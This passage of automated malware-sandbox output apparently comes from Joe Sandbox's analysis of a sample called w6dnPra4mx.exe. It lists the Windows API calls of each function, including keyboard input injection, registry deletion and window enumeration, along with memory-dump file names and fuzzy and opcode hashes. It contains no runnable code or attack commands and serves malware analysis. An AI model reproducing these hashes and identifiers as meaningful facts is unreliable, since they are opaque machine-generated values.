                              • CoCreateInstance.OLE32(00482A50,00000000,00000001,004828B0,?), ref: 00475B8A
                              • CoUninitialize.OLE32 ref: 00475D71
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: CreateInitializeInstanceUninitialize_wcslen
                              • String ID: .lnk$HH
                              • API String ID: 886957087-3121654589
                              • Opcode ID: 75a96ccae25093af7e6917375c938c281093df7f6cda4de25b1c017a61ab28fd
                              • Instruction ID: f4d7caca580305710a2a5ca379fd8543151c5613ecc12b631d1ff665410dc3a0
                              • Opcode Fuzzy Hash: 75a96ccae25093af7e6917375c938c281093df7f6cda4de25b1c017a61ab28fd
                              • Instruction Fuzzy Hash: B0819D75604300AFD310EF65CC82F5AB3A9EF88704F50892DF658AF2D2D6B5E905CB99
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Menu$Delete$InfoItem_memset
                              • String ID: 0
                              • API String ID: 1173514356-4108050209
                              • Opcode ID: e31d5a25326cfad936127cde49464cb56a2d17833d4ec3f4ad79405d5b41ed43
                              • Instruction ID: b3a4179b3c174fb1a3aa0d908437eb3f68f1f523a6631853a4ee88e897a1c7ed
                              • Opcode Fuzzy Hash: e31d5a25326cfad936127cde49464cb56a2d17833d4ec3f4ad79405d5b41ed43
                              • Instruction Fuzzy Hash: 31418CB55043019BD710CF19C884B5BBBE5AFC5324F148A6EFCA49B282C375E809CBA6
                              APIs
                              • LoadLibraryA.KERNEL32(?), ref: 00437CB2
                              • GetProcAddress.KERNEL32(?,AU3_GetPluginDetails), ref: 00437D26
                              • FreeLibrary.KERNEL32(?,?,AU3_GetPluginDetails), ref: 00437D3D
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Library$AddressFreeLoadProc
                              • String ID: AU3_GetPluginDetails$#v
                              • API String ID: 145871493-3662034293
                              • Opcode ID: 4d29db7c409dc1d8665f13fcd2a771d904d38d92e5d57695c8085be3ce6f429e
                              • Instruction ID: 909018a8305b4cb0ce841e730e5bf8c258fddf5044228ae68d4d210ccee2088c
                              • Opcode Fuzzy Hash: 4d29db7c409dc1d8665f13fcd2a771d904d38d92e5d57695c8085be3ce6f429e
                              • Instruction Fuzzy Hash: 054147B96042019FC314DF68D8C4D5AF3E5FF8D304B20866EE9568B751DB35E802CB96
                              APIs
                                • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                              • SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00469368
                              • SendMessageW.USER32(00000000,0000018A,00000000,00000000), ref: 00469379
                              • SendMessageW.USER32(?,?,00000000,00000000), ref: 004693AB
                                • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: MessageSend$_wcslen
                              • String ID: ComboBox$ListBox
                              • API String ID: 763830540-1403004172
                              • Opcode ID: 61f9ca9c5a419efdf5b0fec418701a37d71c48c53c791e94f016d44e45ec48a7
                              • Instruction ID: 8c71ebf423f389569590ff88e643f185c263fd61562863516bde62979c95be4e
                              • Opcode Fuzzy Hash: 61f9ca9c5a419efdf5b0fec418701a37d71c48c53c791e94f016d44e45ec48a7
                              • Instruction Fuzzy Hash: E0210C7160020067C210BB3A9C46FAF77989B85364F09052FF959AB3D1EA7CE94A436E
                              APIs
                              • GetStdHandle.KERNEL32(?), ref: 004439B4
                                • Part of subcall function 0043569D: GetCurrentProcess.KERNEL32(0000002C,00000000,00000000,00000002,76232EE0,00000000,004437E2,?,0000002C,00000000,?,?,?), ref: 004356BD
                                • Part of subcall function 0043569D: GetCurrentProcess.KERNEL32(?,00000000,?,?,?), ref: 004356C1
                                • Part of subcall function 0043569D: DuplicateHandle.KERNEL32(00000000,?,?,?), ref: 004356C4
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: CurrentHandleProcess$Duplicate
                              • String ID: nul
                              • API String ID: 2124370227-2873401336
                              • Opcode ID: 1f0ba76bcec97c73efa3faab39b1dec00fe260a428cb25b20c1b65e4e3d5eb1c
                              • Instruction ID: e5202fea31d744cc2812a948a395a4146b23d8233fafbd02014e3d546f800e0b
                              • Opcode Fuzzy Hash: 1f0ba76bcec97c73efa3faab39b1dec00fe260a428cb25b20c1b65e4e3d5eb1c
                              • Instruction Fuzzy Hash: 8921A070104301ABE320DF28D886B9B77E4AF94B24F504E1EF9D4972D1E3B5DA54CBA6
                              APIs
                              • GetStdHandle.KERNEL32(000000F6), ref: 004438B7
                                • Part of subcall function 0043569D: GetCurrentProcess.KERNEL32(0000002C,00000000,00000000,00000002,76232EE0,00000000,004437E2,?,0000002C,00000000,?,?,?), ref: 004356BD
                                • Part of subcall function 0043569D: GetCurrentProcess.KERNEL32(?,00000000,?,?,?), ref: 004356C1
                                • Part of subcall function 0043569D: DuplicateHandle.KERNEL32(00000000,?,?,?), ref: 004356C4
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: CurrentHandleProcess$Duplicate
                              • String ID: nul
                              • API String ID: 2124370227-2873401336
                              • Opcode ID: 1c1504a6ed80816e8cc684f5e798812a6452e5ed6eae5ac994518d836d8835bd
                              • Instruction ID: 183321404fa0000a7fb955016a75d3ae5bd0bbc3c7f5d4043dd6f74a8503dfc6
                              • Opcode Fuzzy Hash: 1c1504a6ed80816e8cc684f5e798812a6452e5ed6eae5ac994518d836d8835bd
                              • Instruction Fuzzy Hash: 4E2182701002019BE210DF28DC45F9BB7E4AF54B34F204A1EF9E4962D0E7759654CB56
                              APIs
                              • SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00441333
                              • LoadLibraryW.KERNEL32(?,?,?,?,0047B4D0,?,?,?,?,?,?,?,?,?,00000000), ref: 0044133A
                              • SendMessageW.USER32(?,00000467,00000000,?), ref: 00441352
                              • DestroyWindow.USER32(00000000,?,00000467,00000000,?,?,?,?,0047B4D0,?,?,?,?,?,?), ref: 0044135B
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: MessageSend$DestroyLibraryLoadWindow
                              • String ID: SysAnimate32
                              • API String ID: 3529120543-1011021900
                              • Opcode ID: 7eb070968e116bc4f0d30e0eba70c7f8d943bdaa5f5f9b6b4db71aa758301bcd
                              • Instruction ID: 28effd0bdeb99d0e0a50349a2d6ccdc4655b9339127a2247ff1827a793b197f6
                              • Opcode Fuzzy Hash: 7eb070968e116bc4f0d30e0eba70c7f8d943bdaa5f5f9b6b4db71aa758301bcd
                              • Instruction Fuzzy Hash: D0216271204301ABF7209AA5DC84F6B73ECEBD9724F104A1EF651D72E0D6B4DC818729
                              APIs
                              • PeekMessageW.USER32(00000000,00000000,00000000,00000000,00000001), ref: 0044304E
                              • TranslateMessage.USER32(?), ref: 0044308B
                              • DispatchMessageW.USER32(?), ref: 00443096
                              • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 004430AD
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Message$Peek$DispatchTranslate
                              • String ID: *.*
                              • API String ID: 1795658109-438819550
                              • Opcode ID: a5394e60fa5dc12563cec3cf09e66162f870e5be06c650d2d1f2ad27f88770fd
                              • Instruction ID: a39ada88e739a490af96418dc0f35d82e94fc94c1e76e22fe960a83301852fb1
                              • Opcode Fuzzy Hash: a5394e60fa5dc12563cec3cf09e66162f870e5be06c650d2d1f2ad27f88770fd
                              • Instruction Fuzzy Hash: 9F2138715183419EF720DF289C80FA3B7949B60B05F008ABFF66492191E6B99608C76E
                              APIs
                                • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                • Part of subcall function 004389A1: SendMessageTimeoutW.USER32(00000001,00000000,00000000,00000000,00000002,00001388,004848E8), ref: 004389C0
                                • Part of subcall function 004389A1: GetWindowThreadProcessId.USER32(00000001,00000000), ref: 004389D3
                                • Part of subcall function 004389A1: GetCurrentThreadId.KERNEL32 ref: 004389DA
                                • Part of subcall function 004389A1: AttachThreadInput.USER32(00000000), ref: 004389E1
                              • GetFocus.USER32 ref: 004609EF
                                • Part of subcall function 004389EB: GetParent.USER32(?), ref: 004389F7
                                • Part of subcall function 004389EB: GetParent.USER32(?), ref: 00438A04
                              • GetClassNameW.USER32(?,?,00000100), ref: 00460A37
                              • EnumChildWindows.USER32(?,00445A31,?), ref: 00460A60
                              • __swprintf.LIBCMT ref: 00460A7A
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Thread$Parent$AttachChildClassCurrentEnumFocusInputMessageNameProcessSendTimeoutWindowWindows__swprintf_wcslen
                              • String ID: %s%d
                              • API String ID: 991886796-1110647743
                              • Opcode ID: 4a64ff5b06e5e341b473abb9bc2bdd7182ed8da111ba9effa567358a3114916c
                              • Instruction ID: 20a4aa43144560c0524e92d1094e5dcb4402c89d1d481f65a72662ac57dae138
                              • Opcode Fuzzy Hash: 4a64ff5b06e5e341b473abb9bc2bdd7182ed8da111ba9effa567358a3114916c
                              • Instruction Fuzzy Hash: 7521A4712403046BD610FB65DC8AFEFB7ACAF98704F00481FF559A7181EAB8A509877A
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: _memset$_sprintf
                              • String ID: %02X
                              • API String ID: 891462717-436463671
                              • Opcode ID: 3d61b25fa3990800e5a694d7793c27d494b4b6e65897825e99c1223689708875
                              • Instruction ID: c3235ccac5cd273424cb9b73a8b9e0f10e05fa8943de770f4571b5c3e9b76774
                              • Opcode Fuzzy Hash: 3d61b25fa3990800e5a694d7793c27d494b4b6e65897825e99c1223689708875
                              • Instruction Fuzzy Hash: 5B11E97225021167D314FA698C93BEE724CAB45704F50453FF541A75C1EF6CB558839E
                              APIs
                              • _memset.LIBCMT ref: 0042CD00
                              • GetOpenFileNameW.COMDLG32 ref: 0042CD51
                                • Part of subcall function 0040FFB0: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\w6dnPra4mx.exe,?,C:\Users\user\Desktop\w6dnPra4mx.exe,004A8E80,C:\Users\user\Desktop\w6dnPra4mx.exe,0040F3D2), ref: 0040FFCA
                                • Part of subcall function 00410130: SHGetMalloc.SHELL32(00000000), ref: 0041013A
                                • Part of subcall function 00410130: SHGetDesktopFolder.SHELL32(?,004A8E80), ref: 00410150
                                • Part of subcall function 00410130: _wcscpy.LIBCMT ref: 00410160
                                • Part of subcall function 00410130: SHGetPathFromIDListW.SHELL32(?,?), ref: 00410197
                                • Part of subcall function 00410130: _wcscpy.LIBCMT ref: 004101AC
                                • Part of subcall function 00410020: GetFullPathNameW.KERNEL32(?,00000104,?,?,?), ref: 00410037
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: NamePath$Full_wcscpy$DesktopFileFolderFromListMallocOpen_memset
                              • String ID: $OH$@OH$X
                              • API String ID: 3491138722-1394974532
                              • Opcode ID: b307b7495d9e484b77ad3edce91dc90ef7c994e26f1a80758083a935cdf7c966
                              • Instruction ID: e3e81f3fa603e1d093c5df9e9287f390c0398a0e5563e0e16fb911f44c5f658a
                              • Opcode Fuzzy Hash: b307b7495d9e484b77ad3edce91dc90ef7c994e26f1a80758083a935cdf7c966
                              • Instruction Fuzzy Hash: 2111C2B02043405BC311EF19984175FBBE9AFD5308F14882EF68497292D7FD854DCB9A
                              APIs
                              • GetKeyboardState.USER32(?,?,00000001,00000001,?,00000000), ref: 0044C3DA
                              • SetKeyboardState.USER32(00000080), ref: 0044C3ED
                              • PostMessageW.USER32(00000000,00000105,?,?), ref: 0044C441
                              • PostMessageW.USER32(00000000,00000101,?,?), ref: 0044C465
                              • SendInput.USER32 ref: 0044C509
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: KeyboardMessagePostState$InputSend
                              • String ID:
                              • API String ID: 3031425849-0
                              • Opcode ID: b49b686b41cf8e4dc8898cf8a112ca1a8544ab09a95107e5a7613c5accf95fc9
                              • Instruction ID: f46f63d78903415e516a46676784f6fcea1caa301ceb581e17347d916cd8316d
                              • Opcode Fuzzy Hash: b49b686b41cf8e4dc8898cf8a112ca1a8544ab09a95107e5a7613c5accf95fc9
                              • Instruction Fuzzy Hash: DB413B715462446FF760AB24D944BBFBB94AF99324F04061FF9D4122C2D37D9908C77A
                              APIs
                              • RegEnumKeyExW.ADVAPI32 ref: 004422F0
                              • RegOpenKeyExW.ADVAPI32(?,00000000,00000000,?,?), ref: 0044232B
                              • RegCloseKey.ADVAPI32(00000000), ref: 0044234E
                              • RegDeleteKeyW.ADVAPI32(?,?), ref: 00442390
                              • RegEnumKeyExW.ADVAPI32(?,00000000), ref: 004423C0
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Enum$CloseDeleteOpen
                              • String ID:
                              • API String ID: 2095303065-0
                              • Opcode ID: 367b6e42355be36f427f5e4c5f923650598af64a8eac08207e4f2af605b886a1
                              • Instruction ID: 24d8057b763805d248a02a33893b377b1579bd56aab3fff97e90bb3d062a49ad
                              • Opcode Fuzzy Hash: 367b6e42355be36f427f5e4c5f923650598af64a8eac08207e4f2af605b886a1
                              • Instruction Fuzzy Hash: 0C3150721043056EE210DF94DD84FBF73ECEBC9314F44492EBA9596141D7B8E9098B6A
                              APIs
                              • GetPrivateProfileSectionW.KERNEL32(00000000,?,?,00007FFF), ref: 0045C2F4
                              • GetPrivateProfileSectionW.KERNEL32(00000000,00000003,?,00000003), ref: 0045C31B
                              • WritePrivateProfileSectionW.KERNEL32(00000000,00000003,?), ref: 0045C363
                              • WritePrivateProfileStringW.KERNEL32(00000000,?,00000000,00000000), ref: 0045C385
                              • WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 0045C392
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: PrivateProfile$SectionWrite$String
                              • String ID:
                              • API String ID: 2832842796-0
                              • Opcode ID: c76cc1094b5fb1fc43fcb7877a7661b5ae667b5fa7796de5023eb6f45200691f
                              • Instruction ID: eb365ed5c03c4bb3a44f9ddbc5128f2f56e5f8affd5b6ace934fe40af23b551f
                              • Opcode Fuzzy Hash: c76cc1094b5fb1fc43fcb7877a7661b5ae667b5fa7796de5023eb6f45200691f
                              • Instruction Fuzzy Hash: 00318675240305ABD610DFA1DC85F9BB3A8AF84705F00891DF94497292D7B9E889CB94
                              APIs
                              • GetClientRect.USER32(?,?), ref: 00447997
                              • GetCursorPos.USER32(?), ref: 004479A2
                              • ScreenToClient.USER32(?,?), ref: 004479BE
                              • WindowFromPoint.USER32(?,?), ref: 004479FF
                              • DefDlgProcW.USER32(?,00000020,?,?), ref: 00447A78
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Client$CursorFromPointProcRectScreenWindow
                              • String ID:
                              • API String ID: 1822080540-0
                              • Opcode ID: c356f0f93048ebf3c0a873f2be17aa192b5fb9472fb724aa4a6a449873fe30ba
                              • Instruction ID: e9c1e18ea4fcc9a2ad4b32cd349e8b57ec7287094a91df3c43d19f1875151664
                              • Opcode Fuzzy Hash: c356f0f93048ebf3c0a873f2be17aa192b5fb9472fb724aa4a6a449873fe30ba
                              • Instruction Fuzzy Hash: DE3188742082029BD710CF19D88596FB7A9EBC8714F144A1EF88097291D778EA57CBAA
                              APIs
                              • GetWindowRect.USER32(?,?), ref: 00447C1B
                              • ScreenToClient.USER32(?,?), ref: 00447C39
                              • SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00447C4C
                              • Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00447C93
                              • EndPaint.USER32(?,?), ref: 00447CD1
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: ClientPaintRectRectangleScreenViewportWindow
                              • String ID:
                              • API String ID: 659298297-0
                              • Opcode ID: a6d698a2242c6caf7091173c4181dadfabb51550506680b35635a03376f271bc
                              • Instruction ID: 653bb342b0117225c29b14224c0e663a7b864e912777eddc33bb147bcfad3e12
                              • Opcode Fuzzy Hash: a6d698a2242c6caf7091173c4181dadfabb51550506680b35635a03376f271bc
                              • Instruction Fuzzy Hash: 8A3150706043019FE320CF15D9C8F7B7BE8EB89724F044A6EF994873A1D774A8468B69
                              APIs
                              • GetCursorPos.USER32(?), ref: 004478A7
                              • TrackPopupMenuEx.USER32(00000000,00000000,?,?,?,00000000), ref: 004478C3
                              • DefDlgProcW.USER32(?,0000007B,?,?,004A83D8,?,004A83D8,?), ref: 004478E7
                              • GetCursorPos.USER32(?), ref: 00447935
                              • TrackPopupMenuEx.USER32(00000000,00000000,?,?,?,00000000), ref: 0044795B
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: CursorMenuPopupTrack$Proc
                              • String ID:
                              • API String ID: 1300944170-0
                              • Opcode ID: 00aabaf84d80e4f8c92fc7d2a6c816b999107077810d41e1d32a7af9c3da8c6b
                              • Instruction ID: 600148c7f6f0e64f7aba5c2d0a58757112576a5c49d56a392ea253be37485a5b
